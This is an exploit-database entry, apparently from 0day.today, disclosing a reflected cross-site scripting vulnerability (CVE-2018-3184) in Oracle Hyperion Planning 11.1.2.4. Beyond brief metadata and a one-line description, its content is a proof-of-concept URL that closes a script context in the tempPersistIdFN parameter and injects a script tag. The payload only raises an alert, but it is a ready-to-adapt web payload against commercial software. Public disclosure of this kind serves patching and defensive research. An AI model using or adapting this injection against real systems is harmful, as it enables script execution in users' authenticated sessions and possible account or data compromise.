Oracle Hyperion Planning 11.1.2.4 Cross Site Scripting Vulnerability

# Exploit Title: Oracle Hyperion Planning, 11.1.2.4 Vulnerable to Cross Site Scripting
# Exploit Author: Hasan Alqawzai
# Vendor Homepage: https://www.oracle.com
# Software Link: https://www.oracle.com/applications/performance-management/products/financial-close-reporting/hyperion-financial-management/
# Version: 11.1.2.4
# Tested on: Windows
# CVE : CVE-2018-3184

# Description : 
It was detected cross-site scripting , which allows an attacker to execute a dynamic script in the context of the application. 

# Prerequisites :
Access to Oracle Hyperion 

# PoC Exploit: XSS
https://examble.com/raframework/browse/editFileACL?dest=0000016f77a61591-1111-3dfd-c9ao0p1b&tempPersistIdFN=1525";</script><script>alert(/hasan/)</script>

#  0day.today [2018-10-26]  #